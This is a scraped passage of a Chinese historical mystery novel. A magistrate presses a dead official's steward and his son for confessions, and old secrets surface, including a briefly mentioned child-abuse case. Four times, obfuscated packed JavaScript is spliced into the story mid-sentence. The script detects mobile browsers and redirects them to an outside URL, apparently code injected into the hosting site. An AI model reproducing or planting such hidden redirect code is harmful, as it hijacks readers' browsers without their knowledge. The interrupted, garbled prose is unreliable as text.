说话间已经进了屋，涤砚忙过来伺候公子更衣，说起高升闹县衙的状况，末了道：“公子，他如此闹，只怕与他那儿子的案子，脱不了关系。” 周冶一听便笑了，看了洗墨一眼：“多学着点儿！你仗着点儿小聪明，那眼睛都长头顶上了。别的不说，就那高升，可比你这脑子转得溜多了。” 洗墨忙接口道：“对！我还没说完呢。他在此事上使了大力，揽功上身，新主子也要看在这份儿上，管管他儿子的事！” *** 却说那高仲，因他爹是曾怀义跟前最得脸的人，他娘又是夫人的陪嫁，两口子一个管前院，一个掌后院，都是主人之下、众人之上的，便觉得自己也只在主人之下，是个副公子了。 故而，他虽生为奴仆，却自小没吃过一点亏，没受过一点气，连主子也看在他爹娘的面上，对他多有抬举。 如此在恭维和抬举声里长到了十多岁，他便仗势横行了起来，在府里还算知道身份，出了府便有天无日了。 可他到底没经过事，也没他爹的奸，分不清人好赖。那日，让几个人又灌了顿酒，再一挑唆，他又当街打了人。 可怜那挨打的至今还苟延残喘，死不过去，却也活不过来。 周冶原也看着曾府的面子，打算看看伤者形势再定夺，没有强拘他。谁知一案未了，那高仲又喝多了酒，差点一把火烧了曾府。 周冶料着那曾怀义也乐得让他去当坏人，替他辖治辖治，便以殴伤人在前，失火在后，将人拘了来，再不放出。 涤砚烹了茶来，周冶坐下喝了口，才道：“这高升老儿，借着主子的事在这儿朝我撒气，施压呢。” * 衙门殓房里，高升正跪坐在地，往火盆里烧着纸钱。 手上的烧完，他仰了仰头，咔咔转了转僵硬的脖子，一眼扫到那白布蒙着的死鬼老爷，不由叹了口气。 他家老爷刚升了官，还没来得及抖一抖，竟就嘎嘣死了，害得他如今不得不自己来这鬼地方熬着，亲去捞儿子。 原不过是小孩子打架，实乃稀松平常之事，怪只怪对方没本事，几下就要死不活的。县衙偏又纵着家属闹，甚至以主人都没追究的失火之责，强拘了他儿子去。 他高升在官老爷面前是没脸，可他家老爷有面儿啊。如今，明州上下，谁不看着这案子？就连孙刺史也少不得要过问的。最妙的是，这事还让他牵扯上了卢府的人。 他倒要看看，这位周大人挨不挨得住这火烧眉毛，夜里能不能睡得着觉！ 如此想着，他得意一笑，既是谁闹谁有理，谁死伤谁有理，他如今也得了理，岂能饶人？ 不由又心道，府里一下失了两根顶梁柱，那些人没个主心骨，还不定弄出许多事来。 不过，倒要让他们好好乱上一乱，再请他回去镇场才好呢。那时候，倒让几个年轻崽……主子瞧瞧，老爷为何看重他；曾府里没了他高升，到底行不行。 * 正得意着，肚子却叽咕叫了起来。 他不由又恼了，凭他们怎么乱，都这时辰了，总该着人送饭来！真是阎王不在，小鬼便作妖。看他回府后，不好好给他们松松肉皮！ 曾府里，下人将要送去县衙的祭奠之物备好了。邵夫人的陪房许嬷嬷检看过，又指了指桌上的两个食盒，让人一并送了去。 “莲生，你真不去看看？”邵夫人的眼睛还红着，说话有气无力，“你倒是个硬心肠的，家里一老一小都在县衙，倒忍得住一眼都不去看。” 许嬷嬷苦笑了下，叹道：“夫人您是知道的，若依我的，让孩子早点吃些苦头，又何至于有今日之祸？ 怪只怪，他平日里惹祸生事，他爹从不问该不该，只问赢没赢。我几番想请老爷做主，可老爷本就待下极宽，素日也偏宠他爷俩，总说什么，‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999108|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩子哪里不打架？他们年轻的时候，只怕比他打得还厉害些呢，等大了就好了。’又说什么，‘老实孩子才没出息呢’……” 徐嬷嬷自知走了嘴，看了夫人一眼，忙又转道：“仲儿小时候，那是多好的孩子……生生给那糊涂爹给误了。” 想起儿子幼时模样，她心内一酸，忙抬手抹了抹，硬起心肠道：“若去看了，疼也不是，训也不是，倒不如这样眼不见为净。只望他就此长一回记性，都改了才是。” *** 听了高升的谋算，洗墨恨恨地高声骂起来：“这个老奸货！敢拿他那死鬼老爷来给儿子作筏子，逼我们公子，看我不撕了他！” 说着，便要往外冲去。 周冶一个眼神，侍剑伸剑一挡，洗墨左冲右突，只是出不去。 “瞧你那急猴样！”周冶笑着，让他坐下，才道，“他有死鬼主子当筏子，我还有他那傻儿子当起子呢。我就要用他这根宝贝独苗，撬开他那张老嘴。” “高升这等老成奸滑的奴才，大声嚷嚷曾樊有仇，拉卢府下水，又对背后详情只字不吐，就是等我坐不住，主动去做交易。他才好抬价呢。可我偏要晾着他，看谁先坐不住。” 周冶往后一仰，双腿往脚凳上一放，胸有成竹地道，“老子够奸滑，但那儿子却嫩。等他吃够了苦头，就容易说话了。” * 霍家案卷迟迟没送来。涤砚见公子等得烦，便亲自去催拿，结果一去竟也不回。 周冶闲来无事，便问洗墨：“你今日探回了那高升的底，算有点长进。我倒要再考考你。” 洗墨头一扬：“公子尽管说。” 周冶道：“这曾家和……霍家是怎么作的亲？” “原来是这。” “那你是知不知道。” “一些些吧。”洗墨得意道，“这霍家也是绥陵乡宦，跟城中的官员富户多有往来。那霍家夫人郑氏和曾家夫人邵氏是同乡，就更亲热些。几家的孩子常在一处玩耍，算是青梅竹马。 当时的县令，也就是如今的安州刺史孙秉孙大人保了媒，给两家说了亲。说是曾大人的婚事，当初也是这孙大人保的媒。” 周冶笑笑：“两小无猜，青梅竹马，倒是桩好亲事。难怪这曾二公子念念不忘，痴心不改。” “可不是！听说那霍家小姐当年就极出挑，跟隔壁梁家小姐一起，人称镜月双姝呢。”洗墨不由神往道，“看梁夫人如今的风华，那霍家小姐定然差不了。要说起这……倒真可能是那位卢家小姐？” “公子！”洗墨见周冶出了神，在他眼前摇了摇手。 周冶回过神来：“行，算你还有点用处。” 洗墨失望：“就这样？” 就没点赏银？ 周冶抬手拍了拍他肩膀：“好好打探，日后有你的好！” 说着，又想起来道，“对了，你去看看涤砚怎么回事，可别连你也一去不回了。” 洗墨“哦”了一声，不情愿地蹭着往外去了。 12. 案卷 涤砚去找案卷半日未回，却是上哪儿去了？ 原来，底下人一听要的是那霍家案卷，直接就说没了。案卷跟账册一样，这种东西要么火烧，要么水淹，要么虫蛀，总能有各种方式没了。 涤砚又命人传当年办案的人来，可走的走、退的退，如今竟一个知情的都没了。 等细细查问过，还好有个改了行的，如今搬去邻县了。涤砚忙又命人去传。待人出去了，他忙又叫住——事有蹊跷，此人未必容易请来，便索性自己亲去了。 临走的时候，他叫住个路过的杂役，替他去向公子回话。那杂役却不知为何没去通传，这才让周冶空等许久。 洗墨几下便问明白了他的去向，立刻便要回报，走出一段又站住了。他眼珠一转，今日定要再露一手，非把公子的赏银搞出来不可。于是，他也不回去了，三步并作两步，在县衙里寻摸起目标来。 * 熹园，探子回报。 “如此，衙门里的暗子可以动了。”孟珂笑着吩咐道，“把消息放出去，帮我们周大人一把。做得自然些。” 回雪待人走了，才问：“小姐，你又是为何想查那霍家的案子？” 孟珂顿了顿，道：“我就想知道，曾怀义之死，到底是因着梁家小姐，还是因着……霍家小姐？她和曾怀义之间，到底有什么秘密。” 她杀曾怀义，是为了当日的梁婉章，还是为了她披上的那张梁夫人的皮；是为了今日重回绥陵的梁婉章，还是为了她霍茹蕙自己？ 隔了七年时光再看，命运的转轮，似乎便是从霍家出事开始。那么多人下狱，那么多家离子散；乃至后来的霍、粱几家大火，上百口人殒命；还有樊仲荣的兔死狗烹，分而食之…… 一切的答案，或许就在当年的霍家案上。 她本想从亲办此案的曾怀义入手，没想到刚回来就扑了个空；还未下一城，反损了一员大将，只能相机而变，放这周大人去替她探上一探了。 *** 而那出师不利的大将樊仲荣，此刻正被关在不知何处的黑暗地牢里。 这些日子以来，他始终被蒙着眼，日日拷问，来来回回不过几个事：他找曾怀义有何目的，还有什么同党，他是如何搭上的卢府，那卢府小姐来绥陵又所为何事…… 樊仲荣是受过罪的人，自然有些忍耐之力。无论对方怎么日夜审问、百般折磨，他都咬死了，说自己是走投无路之下，遇到个早年间帮过的故人，才让他在京城落了脚，后来还出钱替他贿赂同乡，荐入卢府，这才重新起了势。 他如今得意了，自然想借卢府的势力，衣锦还旧地，狐假虎威一番。而那卢府小姐，便是他请来借威的老虎，镇场的菩萨。 那日约曾怀义上船，就是想让他给自己低头谢罪，出口恶气而已。自己好不容易有今天，放着好日子不过，生事做什么？ * 樊仲荣心里的算盘清楚得很。他要是什么都说了，在这儿活不了，出去更活不了；什么都不说，一时倒还安全。 这日，他听着来了一行人。审问的人举动都要来人示下，料想是能做主的来了。 他便一句一试探地道：“我这烂命一条，活着没几钱分量，死了也是解脱。你们杀了我，没有一点用。这倒也罢了，只怕反而给尊驾找了大麻烦。 我失踪之事必已经闹得人尽皆知。你们弄死的，可就不是我樊仲荣，而是卢府小姐的人。他们必定会保的不是我，而是卢府的面子——这让卢府盯上了，可不好脱身。” 说着，他话锋又一转，“但只要尊驾放了我，这事还能大事化无。我只说是自己办事不力，在银钱上出了纰漏，一时害怕就躲了，保证绝口不吐露半个字。再者，就算我想说，也什么都说不出来。我一不知道这是何地，二不清楚尊驾是何人，能威胁您什么？” 说罢，半晌没有回应，却也没有反驳。 他正要开口再说什么，就听见脚步声起，一行人又渐渐远去了。 一直到了地牢外，一个头戴帷帽的年轻女子道：“这梅花开得差不多了，该邀些人来赏梅了。” “是。”一旁的婆子应道。 *** 却说周冶在衙门里左等右等，一个个掉井里了似的，都不见回来。看看剩下的侍剑，他正想着要不要叫他也去看的时候，便听洗墨“公子、公子”地连声叫着，冲了进来。 “就涤砚那书呆子，不中用！我一出马……” 周冶闻到他一身酒气，扇子“唰”一声打开，掩了口鼻，脚下已退了好几步：“站住！先喘匀了气再说。” 洗墨急喘了几口，倒过了气来，得意地道：“公子可知，这衙门里胥吏的门道？他们虽非官身，却是地方上真正的抓手。尤其是书吏，掌着一县的刑名、钱谷之事，要案卷、账册、名籍……就没有他们不知道的。” 周冶哼了一声：“别卖弄了！涤砚难道不知？会没去问过？” 洗墨笑出一声，不屑道：“他是知道，还去问过呢，有什么用？一句‘不清楚，不知道’就打发了他。就他那样公事公办地去问，让上上下下都看着，知道也说不知道啊。” “这就是我洗墨比他强的地方了。”洗墨一拍胸脯，在桌前坐下，嘚瑟道，“这衙门里上上下下，谁不跟我交好？谁不给我几分薄面？我先让厨房备了好酒好菜，拎上酒菜，不由分说拉上俞用之就往他家去。他一家老小少不得要出来陪客吧？这书吏本就是师徒相继，父子相承，就是县城里的‘世家’。就算儿子年轻不清楚，老子也必定是知道的。” “到了他家，他爹果然出来，一并陪着吃饭喝酒。我也没给那父子俩说小话的机会。那老爷子全无防备，喝高兴了，在我一番恭维之下，还不什么都让我套出来了！” 周冶笑道：“行了，行了，知道你机灵。今日算你一功，快说正事吧！” 洗墨却摊开手，馋笑道：“公子，我今日这功怎么算啊？我探得的这秘事，上说书先生那儿也能卖上一卖啊……” 周冶扇子一收，“啪”一声打在他掌心：“这得看你的故事值不值了，先说说看吧！” 洗墨心知赏银算是有了，高兴地道：“保准值！” 笑完，想到自己要说的话，一时又觉得这般高兴实在不该，抬手“啪啪”几声，轻轻打在自己脸上。 旁边几人看他如此，不由面面相觑。 *** 等洗墨说了，屋里几人都面色怪异，半晌无人说话。 那霍家案竟是一起强/奸/幼/女案。受害幼女便是那霍家小姐，初次案发之时，尚不足九岁，而恶行还持续了数年之久，涉案人数众多。 洗墨和侍剑都看向公子，只见周冶拧紧了眉头，也不作声。 周冶心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999109|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中飞速地盘算着，天下有哪个女子会愿意揭开这样的过往？若确有其事，她为什么要去重揭此案？ 若案有蹊跷，那作为原告的她，岂不是自曝诬告？这可是要落下反坐大罪的，得承担被诬告之人同样的刑罚。她根本担不起。 不不不，不对！这事陷入了两相矛盾的迷阵，怎么都不通，得从头理过。 周冶突然“腾”地站起身来，把洗墨吓了一哆嗦。 只见他走到书案前，写下几个字，斜签着坐在书案上，看着沉思半晌，又将纸裁成几个纸片，在桌上摆来摆去。 摆了半晌，他又几步冲到一旁的书架前，抽出一张未裁的全开熟宣来，往屏风上一搭，将几个纸片摆了上去。 洗墨虽不像涤砚，没正经跟着公子读过书，但这些年还是被逼着认得些字。只见那几个纸片上分别写着曾怀义、卢家小姐、樊仲荣等几个名字。 周冶回头又在案上写了什么，走回来放了上去。 这次是粱夫人、霍家小姐，还有邵夫人、郑夫人。 屏风上的纸片，被他分作了两团，一团是当年粱、霍、曾三家的旧人，而另一团，则是如今曾案牵涉的诸人。两团之间，则留着白。 对着屏风思忖半晌，他又放了曾铭上去。 曾怀义死了，那曾铭虽也悲痛，却对父亲这样猝然而逝很是接受，还不想追查死因，这是为何？ 如果他不是怕有损父亲和曾家声名，而是替人掩盖呢？他宁愿不孝也要包庇保护的人，能是谁？ 若她当真是那霍家小姐。这曾怀义，于这位卢家的孟小姐，就是救她于水火的恩人，还是青梅竹马之父，原定的未来公公。 可她若是霍家小姐，说出曾怀义隐秘的过往，又去挖自己的惨痛过去，到底是为了什么？ 这些事虚虚实实、真真假假，有多处关窍都未打通……真的未必全真，假的却也未必都假。 * 正此时，门被推开了，寒风猛地灌入，里屋的人也跟着一个激灵。 “公子！” 涤砚终于回来，听说那杂役居然没有通报，连连请罪：“应该先回来秉明公子的。涤砚自作主张在前，未及通报在后，请公子责罚！” 这涤砚做事最是一板一眼，合该跟滑头的洗墨中和中和。周冶时不时也被这个小古板搞得哭笑不得，忙道：“得了，得了，下次不犯就是了，赶紧说正事吧。” 那改行的官差姓池，如今在三十里外的嘉县开了个池记古董家具铺子。见了衙门来人，池老板烹茶捧果，极是热情周到，一会儿追忆往昔，一会儿又逐一问候公门旧人的近况。 涤砚耐着性子同他叙了好久话，想着他不是个难缠的，也能体谅公门中人的难处，此事大有希望。 不料，等他终于说到正题，那池老板却糊弄了起来，一会儿推说自己年纪大了，一会儿又说摔过脑子，好些事都不记得了。 周冶一想便知，那霍家案当年既是曾怀义主持查办的，必定未事张扬。一则事涉幼女，二则是他曾府的未来儿媳，上上下下给他面子，也要保曾家名声，都闭紧了嘴。知道的人原就不多，必定还严令封了口。案卷也注定会因故消失的。 “无妨，这个案子大有蹊跷，想是没那么容易。明日我亲去一趟。” 周冶站起身来，笑道，“今夜，咱们先去会一个人，必有收获。” 13. 父与子 那高仲在狱里不过几天，却受尽了这辈子所有的罪。 这一夜，他睡得懵懵的，突地有人闯进牢房，将他拖出去绑上了刑架。他正自张皇间，兜头就被泼了一壶冷茶，顿时一个激灵，彻底醒了过来。凉水从脸上流入脖颈，遇着温热的皮肉，升腾起细细的白雾来。他如坠冰窖，牙齿也随即格格打起颤来。 可接下来，他比这更如坠冰窖的。 洗墨将空茶壶往桌上一放，顺势靠坐在桌上，抱起手，又抬起一手指着他道：“知道为何连夜拉你来审吗？” 高仲猛一摇头，水珠乱飞。 “恭喜你！” 高仲再不通世事也知道，刑讯都是逼供的，不是放人的。能有哪门子的喜？ 洗墨看他惊惶的样子，笑道：“那挨打的，今夜死了。你的殴伤，变成了殴死，罪加一等，当判——死罪！你很快就能转世投胎，不再做人奴才了，是不是一大喜啊！” 高仲听得“死罪”二字，顿时魂飞魄散，身子都凉了大半，浑身上下哪里都在颤，也不知是冷的还是吓的。要不是绑在刑架上，已经瘫成一堆烂泥了。 很快，从□□处一路往下，也升腾起淡淡雾气来。 周冶和洗墨不由互看了眼，同时抬手一捂口鼻，齐齐退后了几步。 那高仲此时哪里还顾得羞不羞，颤着牙连连求告：“大人！大人，求......求您高抬贵手！我......只要您放我一马，我什么都答应您。” 知道他容易，却也没想到这么容易。周冶轻笑一声，捂着口鼻，道：“你能给我什么啊？” “我......我是高家独子，我父亲必定会好好谢谢大人。” “银子？那你倒说说，你这条独子命，值多少啊？” 那高仲脑中算了算，报了个数：“若是不够，还可以去借，去凑。老爷夫人不会不管我们的。只要大人您开口，都好说！”。 周冶哼了一声，突然变了脸斥道：“你竟敢贿赂朝廷命官，罪加一等。你方才说的这数额，可够再判你多死一回了。” “大......大人......”高仲瞅了他几眼，也看不出他说的是真是假，一时不知该如何是好了。 周冶捂着口鼻：“我出去透透气。” 说着，还嫌弃地看了高仲一眼，边往外走，边放下手来，扇着。 只留了洗墨在那儿看着。 周冶在外面看了会儿月亮，回来跟洗墨换了个眼神，便知道成了。 洗墨给高仲使了个眼色：“若想要戴罪立功，便只有今夜了。今夜一过，大人可没功夫理你这茬了。” 那高仲连连点头，便竹筒倒豆子般，将他爹的什么都卖了。 *** 主仆三人走出大牢，侍剑道：“生个儿子这般脓包，真不如生个叉烧。” 周冶哼笑一声：“是不是脓包，也得生出来才知道。若是能提早知道，这世间的人怕是得少一小半，那地府的鬼......只怕得挤得装不下了。” 侍剑道：“不过，脓包也不耽误那高升拿他当心肝宝贝，这自己的种啊，总归疼。” 洗墨撇了撇嘴，冷笑道：“什么宝贝不宝贝的，不过是生都生了，还能塞回去不成。能中用自然好，不中用的也能传宗接代，养老送终。说什么可怜天下父母心，可真心宝贝儿女的，真没那么多。别说嫌弃了，不把儿女当人的爹娘，少吗？ 这大多数人养孩子，说穿了，也就是为自己。上为给爹娘交代，下为自己防老，中为栓着夫妻情分。真心也有那么两分，可那点真心跟养条狗也差不多。给口饭吃，好看家护院，没钱了能宰了吃一顿，没钱了，还能拿去卖一个……” 生了个脓包的高升，此刻坐在殓房地上，倚门睡着了。殓房内只有死人头顶处点着一星长明油灯，他面前火盆里的火，也灭了。胆子不大的人，还真不敢在此睡了过去。 洗墨上前踢了一脚，那火盆哐当几声，灰底的余烬翻起来，腾到空中，见那灰底已经熄了多时了，不由讥笑道：“面子也不做够。” 高升听到声响，猛地惊醒过来，一睁眼，迷糊间只见黑暗中几个高大的人影在面前站成一排，心下已经漏跳一拍，只当是诈尸了，不由身子一缩。 洗墨噗嗤笑了出来，在他面前蹲下来，一抬下巴道：“高管家还害怕鬼啊，到底做了多少亏心事？” 高升反应过来，心里把几人的八辈祖宗都挨个问候加诅咒了一遍，才笑道：“洗墨小哥说笑了。心亏还敢夜夜守在此处？” 周冶既来了，自己的计策便得逞了八九分，接下来就看他如何抬价了。高升一丝得色飞上了眉梢，又低下头压了压，才撑着门，慢悠悠地站起来，拍了拍屁股上、腿上的灰，才行了个倨傲的礼。 “周大人，小的腿麻了，一时起不来，还请见谅。不知大人深夜来此，有何见教？” 周冶却不说话，使了个眼色，两个官差就上前，将高升架起来往外拖。 高升没想到有这一出，愣了一瞬，当即强挣着喊了起来：“我不走！我家大人的案子一日不结，我就守他一日！我死也不走！” “消停些吧，高管家！”洗墨笑道，“你现在就是想走，也走不成了！” *** 仍让他呆在县衙就好说，高升心想，有些话不便当众说，自是要换个妥当的地方，便也不挣了，随人架去。 他瞧着，这是被拖往大牢的方向，想是先卖个好，让他看看儿子，心内正喜，不料进了牢房却直接被绑上了刑架，一时又惊又怒。 “周大人！你这是干什么？你不去查我家大人的案子，倒要来拷问苦主了么！怎么，不敢去拿卢府的人，就来强逼苦主撤诉不成？” 周冶并不理会，施施然坐下，接过洗墨递过来的茶，看他被绑停当了，这才开了口。 “你和你主子如何杀人害命、谋夺人产，都招了吧！” 那高仲不择轻重地、什么陈芝麻烂谷子都说了一通。奈何他也不知道内情，只得将他爹和老爷的行踪、轨迹和他自己的猜疑，都添油加醋地倒了一遍。 周冶这一路走来，心头筛了一遍，想着也只能自己拿话来诈。 果然，那高升听了一怔。 周冶“哟”了一声，笑道：“犯的太多了，不知我说的是哪桩了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999110|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那高升自是个硬石头，没那么容易敲出缝来，脖子一梗：“没什么可招的。大人为了压下我家大人的案子，便来污蔑我们。这天理何在？” “嘴倒是硬！”洗墨从旁道，“既将你下狱，手头能没点证据？你是容易诓的？” 高升看着洗墨，冷笑道：“既是有证据，要杀要剐大人说了算，又何必还来审我呢？” 周冶放下茶杯，站起来道：“是！你说的对。手头这点证据，若要杀你剐你，还不太够。但要杀你儿子嘛，可是够够的了。” * 高升的脸色顿时变了，很快却又笑道：“既如此，那大人自去判就是，小的不敢二话。” “是吗？”周冶负着手，慢慢走到高升面前，看着他道，“我倒小瞧高管家了。不想你竟是这般守法明理之人，连唯一的儿子也能舍下。 你不妨再想想，到底是守住你主人的秘密、你的忠名富贵，还是你那根独苗的命？” 说着，周冶打量高升的目光，慢慢下移，最后落定在了下方：“你想想自己还出不出得去这大牢？便是出去了，这把年纪还能不能再拼出个儿子？就算拼到了，又能不能养大，来不来得及给你送终？” 高升不吭声。 洗墨在一旁添起了柴火，笑道：“高管家，没觉得这刑架上有什么熟悉的味道？” 高升自然一进来就闻到了混杂着尿骚、体臭和陈旧血腥味的牢狱限定味道，但牢里何时不是这样，哼了一声，却是不理。 “亲儿子的味道，你就没闻出来？”洗墨道，“你儿子才下了这刑架，给你腾了位置。他一听说那伤者死了，要被判死，立马就尿裤子了！” 高升心里咯噔了一下，心说，这下难办了，但仍嘴硬道：“死了？你说死了就死了？” 周冶也不与他辩，只一边想一边道：“这斗殴致死，你说是绞刑好呢，还是斩刑好？这绞刑能保个全尸，但死前要受大罪，且死状可怖，让家属看着……着实不忍。至于这斩刑嘛，倒是干净利落……” 侍剑就站在高升身侧，抬手在他眼前，猛地往下一劈—— 高升不由缩了缩。 “要是斩得好，应该来不及疼呢就没了。只是免不了血溅五尺，头颅滚地……” 洗墨适时地拿了个空茶杯，在桌上骨碌碌滚过来，滚过去。 高升听在耳中，如百十斤的石磨盘，一遍遍从心口细细地碾过，听了半晌，终于忍不住大叫一声：“别滚了！” 洗墨挑衅地看着他笑，伸手又要去滚。 “行了！”高升又大叫。 周冶还在继续道：“可要是斩得不好，被连砍几回，皮肉稀烂，却还断不了气......” “别滚了，别说了！”高升道，“我说。” 周冶一个利落转身，几步就坐回椅中，翘起二郎腿，笑道：“那就从当年的剿匪功臣、县令干将，同樊姓商人的结交说起吧。” 果真是有备有来。高升看了他一眼，顿了顿，才慢慢道：“他们二人结交之时，我还没我家大人，也是听他们二人说的。说起来，我家大人确实得了那樊仲荣莫大襄助……” 14. 请神送祟 剿匪那几年，曾怀义是县令跟前的红人，体验了一把什么叫左右逢源，风头无两。 可那时的他，毕竟太年轻，不知道有句话叫，“功成之日，便是鸟尽弓藏之时”。 那十数股匪盗里，得以搭上这趟官船的只有他和另两人。事成后，县令称，若在原县呆下去，身份难保不暴露，只怕对他们日后前程有碍，转将他们安置去了他县，托付给同榜同年的至交，定会好生重用。 三人踌躇满志地去了，满以为可以自此青云直上，不料却是悬崖直坠。 苦的、累的，还有那送命的，都有他们。举凡能立功、能露脸的，就没他们的份儿了。 这般遭遇在衙门里原是寻常，无根无基的人，从来都是干活的“命”，没有升迁的“运”。 可这三人，谁家往上数八辈子，也没出过吃公家饭的，哪里懂这其中门道。 在占山为王的匪盗里，这三人都算有心眼的，可到了衙门里，却都成了直肠子莽汉。他们在此是两眼一抹黑，心眼不够用，就连最擅长的用拳脚说话，在这儿也说不上话了。 做惯了山匪，哪习惯得了衙门里的处处拘束。当惯了头头的，又哪受得了明里暗里的排挤欺压，做事、论功和行赏的不透明不公正。 不多久，三人里便走了一个，忽一日又送命了一个。几个月下来，就只剩了曾怀义一个。 这日，那兄弟的家人来扶灵回乡，曾怀义送出城去，转头回来，进了城门，只觉饥肠辘辘，想就近找个地方吃饭。 一抬眼，迎面走来个熟面孔，正是贩货到此的樊仲荣。 只数月不见，樊仲荣见他仿佛变了个人，没了先时的风发意气，灰头丧气，一脸郁郁。 他也不点破，仍亲热地拉着曾怀义找了个酒馆坐下，等好菜好酒上来，吃饱喝足了，才闲话着旁敲侧击了起来。 他乡遇故交本就亲热。曾怀义憋屈已久，烈酒下了肚，这几月以来的种种郁愤便都浮了上来，成了下酒菜。 樊仲荣听完，也不宽慰，只又陪了几杯酒，才故弄玄虚地道：“明日午时，咱们还在这里见，到时我有件事要拜托怀义兄，万望不要推脱。” 什么事非得等到明日再说？ 曾怀义不由纳罕，可那樊仲荣绝口不提，一味劝他喝酒吃肉，他也就不强问了。 第二日午时，曾怀义依言来了，都喝完了一坛酒，却还不见人。他下午还要当差，便嘱咐小二替他带句话，起身就要走。结果，转头就见樊仲荣拿了个不轻的包袱，喘着粗气，匆匆走进店来。 樊仲荣抬手往下一按，示意他坐下，走上来，也顾不上擦汗，把包袱放桌上，往曾怀义面前一推：“这一包金银，合银三百两，可解兄之困局。” “三百两？！”洗墨惊叫了一声出来。 高升似笑非笑地看了他一眼，眼里分明在说他没见过世面。 连周冶听了也心惊，这可是县令三四年的俸禄，足够在京城买座过得去的宅子了。谁的钱也不是大风刮来的，以当时的曾樊二人来说，绝对是笔巨款。 当年的曾怀义自然更是震惊，既震惊于他拿这么大笔钱给自己，也不明白这钱如何能解他的困局。 曾怀义将银子推了回去：“我虽诉苦，却不曾哭穷，仲荣老弟这是为何？” *** 樊仲荣笑笑，又推了过去：“这不是给你用的，是要你拿去上下打点的。” 曾怀义无奈笑笑，将银子推了回去：“我是前途无望了。何必浪费这些钱，填了那些人的口袋？你今日给了，就不怕我今生都还不上？” 这酒馆临河，樊仲荣往窗外看去，见对岸有人在河边焚香烧纸。 他一笑，指着窗外道：“怀义兄，你说世人撞邪送祟的时候，为何都要焚香烧纸？” 曾怀义不知他是何意：“这请神送祟......自古以来不都这样？” 樊仲荣见他酒碗空了，先给他满上，才道：“这请神送祟，常常是在水边、十字路口焚香烧纸，送上买路钱，将它们都请上路，好走，勿扰。这买路钱，买的就是个不生事，不挡道。” 曾怀义听着有点儿意思了，端起碗来，朝他一举。 樊仲荣抬起碗，跟他轻轻一碰：“这搬家到了新地方，是不是先要向左右邻里送点小礼，结个善缘，以便日后相互帮衬？小门小户里，逢年过节是不是也要往来迎送一番？这当家理事尚且要人情往来，做官如何不要？” 曾怀义心道，果然如此。民间很多习俗，世人虽照做，却从不曾细想。如今想来，那如何不是先人代代相传的智慧？ 可叹他孤儿寡母，流落千里到此，活下来都不易，哪里还有余力去人情往来？他长到如今，一无习俗可遵，二无家学可承，全靠自己看别人做一样，跟着学一样。 曾怀义转而拿起酒壶，去给樊仲荣添。 樊仲荣客气了一下，双手捧着碗去接：“你便是进了庙，向那普度众生的神佛许个愿，也要先上香叩头，后还得添灯还愿不是？” 曾怀义先时一口一碗，这会儿已改成小口慢呷了。 只听樊仲荣又道：“就像我们这样的商贾，走到哪儿便打点到哪儿，是真有多少事求人去办吗？大都是买路钱罢了。 这些年下来，我最知道一件事——钱，是万万不能想着每分每厘都揣进自己口袋的。那样，没几步就把自己的路走死了。这人啊，该舍就得舍，有舍才有得。 舍了小钱，才可保大财！” * 樊仲荣看他是听进去了，又放开了些，先告罪道：“怀义兄，我今日拼着得罪你，也想说几句大实话。你若要听，我便说，你若不想听，咱们喝酒便是。” “仲荣老弟，这世上难得遇上一个你这样掏心掏肺的兄弟，哥哥谢都来不及呢，”曾怀义道，“有什么话，你直说才是。” “好！”樊仲荣一拍桌子，“有你这话，我就斗胆造次了。咱们再说说这衙门里头的道道。” “你是不是想着，立了莫大的功劳，显了本事，又有着托付，合该得重用才是。可到了这个地界上，上头并没有得着你一分好处，接收你，是给人送出一份人情，可不欠着你什么。是你该感谢大人的收留之恩。” “这人心里的念头不一样，说话做事自然也不同，即便口中不言，别人也是分得出的。” 曾怀义心道，真让他说中了。 他此时也不过二十。此前在黑石寨中，凭着好皮相，先入了寨主的眼，再要哄他开心是容易的。 如今想来，寨里那些都是大老粗，不过是逞凶斗狠，卖命拼力气的。但凡稍有点脑子，会说话些，轻易便显出来了，可那却不是他的本事多硬。 进了衙门，便是另一番天地了。 樊仲荣继续道：“这公家饭谁不想吃？能进衙门的都是什么人？上头有人的、沾亲带故的，还有做人的高手、做事的熟手... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 